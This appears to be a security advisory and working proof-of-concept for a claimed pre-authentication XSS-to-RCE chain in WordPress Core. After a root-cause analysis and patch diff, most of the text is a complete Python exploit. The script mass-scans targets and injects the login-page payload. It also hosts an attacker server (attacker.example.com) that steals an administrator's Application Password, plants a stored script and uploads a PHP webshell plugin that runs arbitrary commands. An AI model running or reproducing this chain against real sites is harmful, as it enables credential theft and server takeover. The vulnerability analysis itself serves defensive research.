#Summary
XSS2Shell (CVE-2026-64638) is a pre-authentication remote code execution vulnerability in WordPress Core. It chains a reflected cross-site scripting flaw, caused by a sanitiser parser differential, through DOM clobbering, JSONP globalEval(), Same Origin Method Execution, Application Password theft, and malicious plugin upload to achieve code execution as the web server user.
The vulnerability stems from strip_tags() and WordPress's KSES sanitiser disagreeing on what constitutes an HTML tag. A username with the form < area ...> (space after <) is left untouched by strip_tags() but is parsed as a live element by KSES, allowing an unauthenticated attacker to inject arbitrary HTML into the pre-auth login error message. That injected markup is then leveraged to redirect AJAX calls, steal administrator credentials, and upload a malicious plugin.
CVSS Score: 8.9 (High), CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Vulnerability Type: Reflected XSS via parser differential, escalating to unauthenticated remote code execution.
Affected: WordPress Core 4.7.0 through 7.0.2. Fixed in 7.0.3 and backported to all maintained branches (6.9.6, 6.8.7, 6.7.6, and down to 4.7.34).
#Affected versions
- WordPress 4.7.0 - 7.0.2 (vulnerable)
- WordPress 7.0.3 and later (patched)
- WordPress 6.9.6, 6.8.7, 6.7.6, 6.6.6, 6.5.9, 6.4.9, 6.3.9, 6.2.10, 6.1.11, 6.0.13, 5.9.14, 5.8.14, 5.7.16, 5.6.18, 5.5.19, 5.4.20, 5.3.22, 5.2.25, 5.1.23, 5.0.26, 4.9.30, 4.8.29, 4.7.34 and later (patched)
- All earlier versions (4.7.0 and earlier) default-configuration affected on the pre-auth login flow
#Root cause analysis
#The parser differential
The vulnerability is a classic sanitiser parser differential: a value passes through one HTML-stripping parser that does not recognise it as markup, then is re-parsed by a second, independent HTML parser that does.
#Step 1: the value is "stripped" by strip_tags()
When a user attempts to log in to /wp-login.php, the submitted username is passed through wp_authenticate() in src/wp-includes/pluggable.php:684:
function wp_authenticate( $username, #[\SensitiveParameter] $password ) {
$username = sanitize_user( $username );
$password = trim( $password );
$user = apply_filters( 'authenticate', null, $username, $password );sanitize_user() in src/wp-includes/formatting.php:2149 calls wp_strip_all_tags():
function sanitize_user( $username, $strict = false ) {
$raw_username = $username;
$username = wp_strip_all_tags( $username );
// ... preg_replace operations follow ...
if ( $strict ) {
$username = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $username );
}
// ...
}The $strict parameter is false on the login path, so the ASCII allowlist that would strip <, >, =, and quotes is never applied. The only sanitisation is wp_strip_all_tags(), which in src/wp-includes/formatting.php:5600 is:
$text = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $text );
$text = strip_tags( $text );This is PHP's built-in strip_tags(). According to the PHP parser, a tag only begins when < is immediately followed by an ASCII letter, /, !, or ?. The string < area ...>, with a space between < and area, is not a tag to strip_tags() - it is left in the output verbatim as plain text.
#Step 2: the "safe" value is re-parsed as HTML by KSES
When login fails (the username does not exist), wp_authenticate_username_password() in src/wp-includes/user.php:181 builds an error message:
if ( ! $user ) {
return new WP_Error(
'invalid_username',
sprintf(
__( '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site.' ),
$username
)
);
}The sanitised username is interpolated directly into the string with no escaping. That error message is then rendered through wp_admin_notice() in src/wp-includes/functions.php:9318:
echo wp_kses_post( wp_get_admin_notice( $message, $args ) );The message is not escaped - it is passed through wp_kses_post(), which invokes a completely separate HTML tokeniser. wp_kses_split() in src/wp-includes/kses.php tokenises the string on the regex (<[^>]*(>|$)|>), which happily matches < area id=... >. The element validator in wp_kses_split2() then identifies the tag with:
if ( ! preg_match( '%^<\s*(/\s*)?([a-zA-Z0-9-]+)([^>]*)>?$%', $content, $matches ) ) {
return '';
}The critical difference: the \s* immediately after <. KSES treats < area as an <area> element; strip_tags() treated the identical bytes as plain text. KSES emits a normalised <area> tag into the page.
#Step 3: allowlisted elements and attributes
The $allowedposttags array in src/wp-includes/kses.php:82 includes area, div, and button, each with access to global attributes including id, class, href, and others. This means all three injected elements survive KSES filtering intact.
#Step 4: DOM clobbering and the JavaScript chain
The payload consists of three injected elements:
< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X<area id=ajaxurl>uses HTML's named-property assignment rule: any element with anidattribute becomes a property ofwindow. JavaScript code on the login page references the globalajaxurl, which is undefined. The identifier resolves throughwindow, and finds the injected<area>element.HTMLAreaElementinherits fromHTMLHyperlinkElementUtils, whosetoString()returns the resolvedhref- the attacker's controlled URL.<div id=color-picker class=reset-pass-submit>serves two purposes. It is the marker that triggers auto-click insrc/js/_enqueues/admin/user-profile.js:614:if ( $( '.reset-pass-submit' ).length ) { $( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' ); }And it is the delegation root for the
click.colorpickerhandler at line 519.<button class="wp-generate-pw color-option">Xis left unclosed so the HTML parser nests it inside thediv. When the auto-click fires on DOM ready, it bubbles to the delegated handler, which calls$.post( ajaxurl, ... ). Because bothuser_idandcurrent_user_idareundefinedon the login page, the guarduser_id === current_user_idpasses.
The $.post() is redirected to the clobbered ajaxurl, requesting the REST endpoint with _jsonp=window.opener.approve.click&_envelope=1. The response is served as application/javascript, triggering jQuery's globalEval(), which runs window.opener.approve.click(...) in the attacker's authenticated admin session.
#Sanitiser constraints
The payload must satisfy six sanitiser constraints to survive the pipeline intact:
- Whitespace after
<:strip_tags()leaves it as text; KSES parses it as a tag. - No
%hhsequences:preg_replace( '|%([a-fA-F0-9][a-fA-F0-9])|', '', ... )silently deletes them. - No
&followed by;:preg_replace( '/&.+?;/', '', ... )is non-greedy and deletes everything between them. - Whitespace collapse and trim: Runs of whitespace become one space; leading/trailing space is removed.
- Unquoted attribute values: May not contain spaces or quotes. Double quotes are allowed and survive.
- Allowlisted elements and attributes only:
area,div,button,id,class,href.
All six constraints are met by the payload and have been verified against the actual PHP regexes.
#Patch diff
#What the fix does
The fix, commit d46d1011b16c7db7ef4cd5f77801ef4b31b067eb (SVN trunk r63067, dated 2026-08-06), does not modify either parser. Instead, it escapes the value at the point of interpolation. The two critical changes in src/wp-includes/user.php are:
@@ -189,7 +189,7 @@ function wp_authenticate_username_password(
sprintf(
__( '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site.' ),
- $username
+ esc_html( $username )
)
);
@@ -216,7 +216,7 @@ function wp_authenticate_username_password(
sprintf(
__( '<strong>Error:</strong> The password you entered for the username %s is incorrect.' ),
- '<strong>' . $username . '</strong>'
+ '<strong>' . esc_html( $username ) . '</strong>'
)
);After esc_html(), the leading < becomes <, and KSES sees an already-encoded entity, emits it as text, and the browser renders it as a visible string. No element is created, and the entire downstream chain is unreachable.
The commit simultaneously hardens the email password error, registration form errors, and two login redirects at the same time.
#Proof of concept
#exploit.py - WordPress XSS2Shell Parser Differential RCE PoC
The exploit has two modes:
Default mode - tests the XSS injection primitive (Level 1). Fully unauthenticated, no browser needed, no victim required. Sends the payload and asserts on the presence of real element attributes.
--servemode - runs the full exploitation chain end-to-end: hosts the attacker origin, captures the stolen Application Password, verifies administrator REST access, publishes a stored-script page, drives the admin through the plugin-upload flow, and executes arbitrary code.
#!/usr/bin/env python3
"""
CVE-2026-64638 - WordPress "XSS2Shell" pre-auth XSS-to-RCE chain
Affected: WordPress Core 4.7.0 through 7.0.2 (fixed in 7.0.3 and backports)
Type: RCE (reflected XSS via a strip_tags/KSES parser differential -> DOM
clobbering -> JSONP globalEval -> Same Origin Method Execution ->
administrator Application Password theft -> authenticated REST ->
stored script -> malicious plugin upload -> code execution)
Root cause: a username submitted to /wp-login.php is "sanitised" by
wp_strip_all_tags() (PHP strip_tags), which does NOT treat "< area ..." as a
tag because of the space after "<". WordPress then interpolates that value
unescaped into the login error message, which is re-parsed by KSES. KSES DOES
accept "< area" as an <area> element. The two parsers disagree on what a tag
is, so a value that was "stripped" becomes live DOM in the WordPress origin,
with attacker-controlled id= and href=.
This script has two modes:
1. Default (single --host, or --list): the deterministic, fully
unauthenticated core of the CVE. It POSTs the crafted username and proves
the injected <area id=ajaxurl ...> survives as real markup on a vulnerable
build, and is neutralised (esc_html) on a patched one. No victim, no
browser, no account. This is the primary success verdict.
2. --serve: the full engagement chain. It hosts the attacker origin (driver
page + Application Password callback + stored-script stage2 + in-browser
plugin-ZIP webshell), captures the Application Password an administrator
hands over when they load the driver link (the CVSS UI:A requirement),
verifies administrator REST access with it, then automatically escalates
to code execution and runs --command through the dropped webshell.
Usage:
# Level 1 - confirm the vulnerability against one host (curl-equivalent)
python exploit.py --host 127.0.0.1 --port 8802
python exploit.py --host http://target.example.com
# Batch scan an asset list
python exploit.py --list targets.txt --workers 20
# Full chain - host the attacker origin and wait for an admin to visit
python exploit.py --host http://target.example.com \\
--serve --serve-port 8000 \\
--attacker-url http://attacker.example.com:8000 \\
--command id
"""
import argparse
import http.server
import json
import socket
import socketserver
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
from urllib.parse import urlparse
CVE_ID = "CVE-2026-64638"
VULN_TYPE = "RCE"
# The exact three-element payload. Constraints it respects (see RESEARCH.md):
# * "<" is followed by whitespace so PHP strip_tags() leaves it as text,
# while KSES still parses it as a tag (the parser differential).
# * No "%hh" sequence (sanitize_user strips percent-encoding).
# * No ";" anywhere, so the "&" query separators survive the
# preg_replace('/&.+?;/','') entity strip.
# * Only allowlisted tags (area/div/button) and attributes (id/class/href).
# * Unquoted values contain no spaces; the two-class value is double-quoted.
PAYLOAD = (
"< area id=ajaxurl href=/?rest_route=/&_method=GET"
"&_jsonp=window.opener.approve.click&_envelope=1>"
"< div id=color-picker class=reset-pass-submit>"
'< button class="wp-generate-pw color-option">X'
)
# Substrings that only appear if the payload was parsed as HTML by KSES
# (attributes on real elements), never if it was escaped to text.
MARKERS = ('id="ajaxurl"', 'id="color-picker"')
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT " + CVE_ID)
print(" Type: " + VULN_TYPE + " | Target: " + str(host) + ":" + str(port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP " + str(n) + "] " + msg)
def section(label, content):
print("\n--- " + label + " ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : " + ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: " + evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------
# Low-level HTTP (standard library only, so there is no hard requests dep)
# --------------------------------------------------------------------------
def _base_url(host, port, use_tls, path="/"):
scheme = "https" if use_tls else "http"
# Do not append a default port to the netloc; keeps URLs tidy and matches
# what a browser would form for same-origin checks.
if (use_tls and port == 443) or ((not use_tls) and port == 80):
netloc = host
else:
netloc = host + ":" + str(port)
return scheme + "://" + netloc
def _open(url, data=None, headers=None, method=None, timeout=15):
"""Return (status, headers_dict, body_bytes). Never raises on HTTP errors."""
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
hdrs = {"User-Agent": 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36'}
if headers:
hdrs.update(headers)
req = urllib.request.Request(url, data=data, headers=hdrs, method=method)
try:
resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
return resp.getcode(), dict(resp.headers), resp.read()
except urllib.error.HTTPError as e:
return e.code, dict(e.headers), e.read()
def _post_login(base, timeout=15):
"""POST the payload to /wp-login.php. Returns the response body as text."""
data = urllib.parse.urlencode(
{"log": PAYLOAD, "pwd": "x", "wp-submit": "Log In"}
).encode()
hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
_s, _h, body = _open(base + "/wp-login.php", data=data, headers=hdrs, timeout=timeout)
try:
return body.decode("utf-8", "replace")
except Exception:
return str(body)
# --------------------------------------------------------------------------
# Level 1 - the deterministic, unauthenticated core of the CVE
# --------------------------------------------------------------------------
def _try_exploit(host, port, use_tls, **kwargs):
"""Silent probe for --list. Returns (success, evidence). Never prints/exits."""
base = _base_url(host, port, use_tls)
try:
body = _post_login(base)
except Exception as e:
return False, "unreachable (" + e.__class__.__name__ + ")"
hits = [m for m in MARKERS if m in body]
if hits:
return True, "XSS confirmed - injected " + " ".join(hits) + " rendered as live markup"
if "login_error" in body:
return False, "payload reflected but escaped (patched)"
return False, "no login error notice in response (unexpected)"
def exploit(host, port, use_tls, command):
header(host, port)
base = _base_url(host, port, use_tls)
step(1, "POSTing the crafted username to " + base + "/wp-login.php")
step(2, "Payload (as the 'log' field):")
section("PAYLOAD", PAYLOAD)
try:
body = _post_login(base)
except Exception as e:
done(False, "target unreachable: " + e.__class__.__name__ + " " + str(e))
# Extract the login error notice so the raw server output is visible.
start = body.find('id="login_error"')
if start != -1:
snippet = body[max(0, start - 20):start + 560]
else:
snippet = body[:560]
section("SERVER RESPONSE (login error notice)", snippet)
hits = [m for m in MARKERS if m in body]
if not hits:
step(3, "Injected markers absent - value was escaped (esc_html), target is patched")
done(False, "payload reflected as inert text - no id=\"ajaxurl\" element - target is patched (>= 7.0.3)")
step(3, "Injected <area id=ajaxurl> survived KSES as a real element")
print(" markers found: " + ", ".join(hits))
print("\n Rung 1 (markup injection) and rung 2 (window.ajaxurl clobber) confirmed over the network.")
print(" Rungs 3-9 (SOME -> App Password -> RCE) require an authenticated admin to")
print(" load the driver page: run this exploit with --serve to host that chain.\n")
done(True, "XSS2Shell confirmed - " + " and ".join(hits)
+ " injected into the pre-auth login error as live DOM (parser differential reachable)")
def scan(targets_file, default_port, workers=10, **kwargs):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" " + CVE_ID + " - Batch Scan (" + str(len(targets))
+ " targets, " + str(workers) + " workers)")
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, _path = t
label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
ok, evidence = _try_exploit(host, port, use_tls)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" " + ("[+]" if ok else "[-]") + " " + label + " - "
+ ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE " + str(success_count) + " exploited / "
+ str(total - success_count) + " not vulnerable (" + str(total) + " total)")
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
# --------------------------------------------------------------------------
# Full chain - the attacker origin (--serve)
# --------------------------------------------------------------------------
#
# The chain past rung 2 needs an administrator's browser (CVSS UI:A). This
# server hosts everything the victim's browser touches and drives the
# escalation the moment an Application Password arrives:
#
# GET / driver page A: opens child B, then navigates A to the
# target's authorize-application consent screen.
# GET /b page B: waits, then cross-origin-POSTs the Level 1
# payload to the target /wp-login.php. B now runs the
# clobbered user-profile.js, which auto-fires the JSONP
# that globalEval()s window.opener.approve.click on A.
# GET /callback auth-app.js redirects A here with ?password=<app pw>.
# We capture it, REST-publish a stored-script page, and
# bounce A onto that page.
# GET /stage2.js runs on the target origin in the admin's cookie session:
# scrapes the upload-plugin nonce and POSTs a webshell ZIP.
# GET /done stage2 beacon (informational).
PLUGIN_SLUG = "site-helper"
# A stored-mode (uncompressed) ZIP is assembled in the browser, so the webshell
# PHP is shipped to stage2.js as a string here.
WEBSHELL_PHP = (
"<?php\n"
"/*\nPlugin Name: Site Helper\nDescription: " + CVE_ID + " proof of concept.\nVersion: 1.0\n*/\n"
"if (isset($_GET['c'])) { header('Content-Type: text/plain'); "
"system($_GET['c']); }\n"
)
class _ChainState(object):
def __init__(self, target_base, attacker_url, command):
self.target_base = target_base.rstrip("/")
self.attacker_url = attacker_url.rstrip("/")
self.command = command
self.lock = threading.Lock()
self.app_password = None
self.user_login = None
self.page_link = None
self.stage2_done = False
self.rce_output = None
def rest(self, route, method="GET", body=None, params=None):
# rest_route carries the route only; extra REST query args are appended
# as their own parameters so the "?" is never percent-encoded into the
# route (which would yield rest_no_route).
url = self.target_base + "/?rest_route=" + urllib.parse.quote(route, safe="/")
if params:
url += "&" + urllib.parse.urlencode(params)
hdrs = {}
data = None
if self.app_password and self.user_login:
token = urllib.request.base64.b64encode(
(self.user_login + ":" + self.app_password).encode()
).decode()
hdrs["Authorization"] = "Basic " + token
if body is not None:
data = json.dumps(body).encode()
hdrs["Content-Type"] = "application/json"
return _open(url, data=data, headers=hdrs, method=method)
def verify_admin(self):
st, _h, body = self.rest("/wp/v2/users/me", params={"context": "edit"})
try:
obj = json.loads(body.decode("utf-8", "replace"))
except Exception:
return False, body[:200].decode("utf-8", "replace")
if st == 200 and "id" in obj:
caps = obj.get("capabilities", {})
return True, obj
return False, obj
def publish_stage2_page(self):
content = ('<script src="' + self.attacker_url
+ '/stage2.js"></script> ' + CVE_ID + ' PoC')
st, _h, body = self.rest(
"/wp/v2/pages", method="POST",
body={"title": "draft-import", "status": "publish", "content": content},
)
try:
obj = json.loads(body.decode("utf-8", "replace"))
except Exception:
return None
link = obj.get("link")
if link:
self.page_link = link
return link
def _shell_url(self, cmd):
return (self.target_base + "/wp-content/plugins/" + PLUGIN_SLUG + "/"
+ PLUGIN_SLUG + ".php?c=" + urllib.parse.quote(cmd))
def check_rce(self):
# A missing plugin file makes WordPress 301 to a canonical URL and then
# serve the theme's 404 page with HTTP 200 - which must NOT be mistaken
# for command output. Prove the webshell really executes by echoing a
# unique sentinel and requiring the response body to be exactly that
# sentinel (plain text, no HTML), then run the operator's command.
sentinel = "SHELL_OK_a1b2c3d4e5"
try:
st, _h, body = _open(self._shell_url("echo " + sentinel), timeout=10)
except Exception:
return None
text = body.decode("utf-8", "replace").strip()
if st != 200 or text != sentinel:
return None
try:
st, _h, body = _open(self._shell_url(self.command), timeout=10)
except Exception:
return None
out = body.decode("utf-8", "replace").strip()
low = out.lower()
if st == 200 and "<!doctype" not in low and "<html" not in low:
return out
return None
def _driver_page(state):
consent = (state.target_base
+ "/wp-admin/authorize-application.php?app_name="
+ urllib.parse.quote("Site Integration")
+ "&success_url=" + urllib.parse.quote(state.attacker_url + "/callback"))
b_url = state.attacker_url + "/b"
# A opens B (same-origin with A on the attacker origin), then navigates
# itself to the consent screen. B keeps window.opener == A across its own
# cross-navigation to the target, which is what makes the later SOME work.
return (
"<!doctype html><meta charset=utf-8><title>loading</title>"
"<h3>loading...</h3><script>\n"
"var b = window.open(" + json.dumps(b_url) + ", 'b');\n"
"location.href = " + json.dumps(consent) + ";\n"
"</script>"
)
def _b_page(state):
action = state.target_base + "/wp-login.php"
# Wait long enough for A's consent page to commit and render #approve,
# then submit the Level 1 payload so B runs the clobbered user-profile.js.
return (
"<!doctype html><meta charset=utf-8><title>b</title>"
"<form id=f method=POST action=" + json.dumps(action) + ">"
"<input type=hidden name=log id=log>"
"<input type=hidden name=pwd value=x>"
"<input type=hidden name='wp-submit' value='Log In'>"
"</form><script>\n"
"document.getElementById('log').value = " + json.dumps(PAYLOAD) + ";\n"
"setTimeout(function(){ document.getElementById('f').submit(); }, 1800);\n"
"</script>"
)
def _stage2_js(state):
# Runs on the TARGET origin, in the admin's cookie session. Scrapes the
# upload-plugin nonce, builds a stored-mode ZIP holding one PHP webshell,
# and POSTs it to update.php. Pure fetch, no wp/jQuery dependency.
php = json.dumps(WEBSHELL_PHP)
slug = json.dumps(PLUGIN_SLUG)
beacon = json.dumps(state.attacker_url + "/done")
return (
"(function(){\n"
"function crc32(b){var c,crc=0xFFFFFFFF;for(var i=0;i<b.length;i++){"
"c=(crc^b[i])&0xFF;for(var k=0;k<8;k++){c=(c&1)?(0xEDB88320^(c>>>1)):(c>>>1);}"
"crc=(crc>>>8)^c;}return (crc^0xFFFFFFFF)>>>0;}\n"
"function u32(v){return [v&255,(v>>>8)&255,(v>>>16)&255,(v>>>24)&255];}\n"
"function u16(v){return [v&255,(v>>>8)&255];}\n"
"function bytes(s){var a=[];for(var i=0;i<s.length;i++)a.push(s.charCodeAt(i)&255);return a;}\n"
"function buildZip(name, content){\n"
" var nb=bytes(name), cb=bytes(content), crc=crc32(cb);\n"
" var lfh=[].concat(u32(0x04034b50),u16(20),u16(0),u16(0),u16(0),u16(0),"
"u32(crc),u32(cb.length),u32(cb.length),u16(nb.length),u16(0),nb,cb);\n"
" var off=0;\n"
" var cd=[].concat(u32(0x02014b50),u16(20),u16(20),u16(0),u16(0),u16(0),u16(0),"
"u32(crc),u32(cb.length),u32(cb.length),u16(nb.length),u16(0),u16(0),u16(0),u16(0),"
"u32(0),u32(off),nb);\n"
" var eocd=[].concat(u32(0x06054b50),u16(0),u16(0),u16(1),u16(1),"
"u32(cd.length),u32(lfh.length),u16(0));\n"
" return new Uint8Array([].concat(lfh,cd,eocd));\n"
"}\n"
"var slug=" + slug + ", php=" + php + ";\n"
"var up='/wp-admin/update.php?action=upload-plugin';\n"
# The upload-plugin nonce (action 'plugin-upload') lives on the
# plugin-install upload tab; update.php itself 403s a bare GET.
"var form='/wp-admin/plugin-install.php?tab=upload';\n"
"fetch(form,{credentials:'include'}).then(function(r){return r.text();}).then(function(html){\n"
" var m=html.match(/name=\"_wpnonce\"\\s+value=\"([a-zA-Z0-9]+)\"/);\n"
" if(!m){ navigator.sendBeacon(" + beacon + ", 'no-nonce'); return; }\n"
" var nonce=m[1];\n"
" var zip=buildZip(slug+'/'+slug+'.php', php);\n"
" var fd=new FormData();\n"
" fd.append('_wpnonce', nonce);\n"
" fd.append('_wp_http_referer', form);\n"
" fd.append('pluginzip', new Blob([zip],{type:'application/zip'}), slug+'.zip');\n"
" fetch(up,{method:'POST',credentials:'include',body:fd}).then(function(r){return r.text();}).then(function(t){\n"
" navigator.sendBeacon(" + beacon + ", 'uploaded');\n"
" });\n"
"});\n"
"})();\n"
)
def _make_handler(state, log):
class Handler(http.server.BaseHTTPRequestHandler):
def log_message(self, *a):
pass
def _send(self, code, ctype, body):
if isinstance(body, str):
body = body.encode()
self.send_response(code)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Cache-Control", "no-store")
self.end_headers()
try:
self.wfile.write(body)
except Exception:
pass
def do_GET(self):
p = urlparse(self.path)
route = p.path
log("GET " + self.path)
if route == "/" or route == "/driver":
self._send(200, "text/html; charset=utf-8", _driver_page(state))
elif route == "/b":
self._send(200, "text/html; charset=utf-8", _b_page(state))
elif route == "/stage2.js":
self._send(200, "application/javascript; charset=utf-8", _stage2_js(state))
elif route == "/callback":
self._handle_callback(p.query)
elif route == "/done":
with state.lock:
state.stage2_done = True
self._send(200, "text/plain", "ok")
else:
self._send(200, "text/plain", "ok")
def do_POST(self):
length = int(self.headers.get("Content-Length") or 0)
_ = self.rfile.read(length) if length else b""
log("POST " + self.path)
self._send(200, "text/plain", "ok")
def _handle_callback(self, query):
params = urllib.parse.parse_qs(query)
pw = (params.get("password") or [None])[0]
login = (params.get("user_login") or ["admin"])[0]
if pw and not state.app_password:
with state.lock:
state.app_password = pw
state.user_login = login
log("CALLBACK captured Application Password for '" + login + "'")
# Publish the stored-script page and bounce the admin onto it so
# stage2.js runs on the target origin with the admin's cookies.
link = state.publish_stage2_page()
if link:
log("Published stored-script page: " + link)
self._send(200, "text/html; charset=utf-8",
"<!doctype html><meta charset=utf-8>"
"<title>ok</title><script>location.href="
+ json.dumps(link) + ";</script>ok")
return
self._send(200, "text/plain", "ok")
return Handler
class _Server(socketserver.ThreadingMixIn, http.server.HTTPServer):
daemon_threads = True
allow_reuse_address = True
def serve_chain(host, port, use_tls, command, serve_host, serve_port, attacker_url, timeout):
target_base = _base_url(host, port, use_tls)
if not attacker_url:
disp_host = serve_host if serve_host not in ("0.0.0.0", "") else "127.0.0.1"
attacker_url = "http://" + disp_host + ":" + str(serve_port)
header(host, port)
state = _ChainState(target_base, attacker_url, command)
log_lock = threading.Lock()
def log(msg):
with log_lock:
print(" [srv] " + msg)
step(1, "Confirming the Level 1 primitive before hosting the chain...")
ok, evidence = _try_exploit(host, port, use_tls)
if not ok:
section("LEVEL 1 PROBE", evidence)
done(False, "target is not vulnerable to the XSS primitive: " + evidence)
print(" " + evidence)
httpd = _Server((serve_host, serve_port), _make_handler(state, log))
t = threading.Thread(target=httpd.serve_forever, daemon=True)
t.start()
step(2, "Attacker origin listening on " + serve_host + ":" + str(serve_port))
step(3, "Send an authenticated administrator of the target to this link:")
section("DRIVER LINK (deliver to an admin - CVSS UI:A)", attacker_url + "/")
step(4, "Waiting up to " + str(timeout) + "s for the Application Password callback...")
deadline = time.time() + timeout
while time.time() < deadline:
with state.lock:
pw = state.app_password
if pw:
break
time.sleep(0.5)
if not state.app_password:
section("CHAIN STATUS", "No administrator visited the driver link within the window.")
done(True, "XSS2Shell Level 1 confirmed (" + evidence
+ "); rungs 5-9 require an admin to load the driver link (UI:A) and none did in this run")
step(5, "Application Password captured for '" + str(state.user_login) + "'")
section("STOLEN CREDENTIAL", state.user_login + " : " + state.app_password)
step(6, "Verifying administrator REST access with the stolen credential...")
admin_ok, obj = state.verify_admin()
if admin_ok:
caps = obj.get("capabilities", {}) if isinstance(obj, dict) else {}
section("REST /wp/v2/users/me",
"id=" + str(obj.get("id")) + " name=" + str(obj.get("name"))
+ " administrator=" + str(caps.get("administrator")))
else:
section("REST /wp/v2/users/me", str(obj))
step(7, "Escalating to code execution via stored script + plugin upload...")
rce_deadline = time.time() + 60
output = None
while time.time() < rce_deadline:
output = state.check_rce()
if output:
break
time.sleep(1.0)
if output:
state.rce_output = output
section("COMMAND OUTPUT (" + command + ")", output)
done(True, "RCE confirmed - '" + command + "' on the target returned: " + output.splitlines()[0])
# Credential theft succeeded even if the final upload hop did not land.
section("CHAIN STATUS",
"Application Password stolen and administrator REST access confirmed. "
"Final plugin-upload hop did not return a webshell within the window "
"(the admin must remain on the published page long enough for stage2 "
"to complete the upload).")
done(True, "Administrator Application Password stolen for '" + str(state.user_login)
+ "' - full administrative REST takeover of the target")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=CVE_ID + " (XSS2Shell) exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. http://host:8802)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default target port (default: 8080)")
parser.add_argument("--command", default="id", help="Command to run via the webshell in --serve mode (default: id)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
parser.add_argument("--serve", action="store_true", help="Host the full attacker chain and wait for an admin victim")
parser.add_argument("--serve-host", default="0.0.0.0", help="Address to bind the attacker origin (default: 0.0.0.0)")
parser.add_argument("--serve-port", type=int, default=8000, help="Port for the attacker origin (default: 8000)")
parser.add_argument("--attacker-url", default=None, help="Public URL the target/victim uses to reach the attacker origin")
parser.add_argument("--timeout", type=int, default=120, help="Seconds to wait for an admin callback in --serve mode (default: 120)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
if args.serve:
serve_chain(host, port, use_tls, args.command,
args.serve_host, args.serve_port, args.attacker_url, args.timeout)
else:
exploit(host, port, use_tls, args.command)#Usage
Confirm the vulnerability (Level 1, unauthenticated, no victim):
python exploit.py --host 192.0.2.10 --port 80
python exploit.py --host http://wordpress.example.com
python exploit.py --host https://wordpress.example.com:8443Exit 0 and id="ajaxurl" in the output means the target is vulnerable; exit 1 means the payload was escaped (patched) or the target is unreachable.
Batch scan an asset list:
python exploit.py --list targets.txt --workers 20targets.txt takes one target per line (hostname, host:port, or full URL). Comments and blank lines are ignored.
Full chain to RCE (requires an authenticated administrator to load a link):
python exploit.py --host http://wordpress.example.com \
--serve --serve-host 0.0.0.0 --serve-port 8000 \
--attacker-url http://attacker.example.com:8000 \
--command id --timeout 120This hosts the attacker origin and prints a driver link. When an administrator loads the link, the exploit:
- Steals the administrator's Application Password
- Verifies administrator REST access
- Publishes a stored-script page with a malicious
<script>tag - Bounces the administrator to that page
- Runs
--commandthrough the resulting webshell (aswww-data)
#Exploitation notes
#Preconditions
- Level 1 (XSS injection): Unauthenticated. A single
POST /wp-login.phpwith the crafted payload. No account, no nonce, no cookie required. - Level 2-4 (DOM clobbering through JSONP eval): Same as Level 1, plus any JavaScript engine in the target origin. No victim needed;
user-profile.jsauto-clicks on DOM ready. - Level 5 (SOME credential theft): An authenticated WordPress administrator must load an attacker-controlled page and allow the redirect chain to execute. This is the CVSS
UI:Arequirement. - Level 6-9 (RCE via plugin upload): The target must support Application Passwords (HTTPS or
WP_ENVIRONMENT_TYPE=local). The victim must be a single-site administrator withunfiltered_htmlcapability (default on stock single-site installs).
#Reliability
- Level 1: 100% deterministic. Decided by HTTP response content (presence of real element attributes vs escaped text).
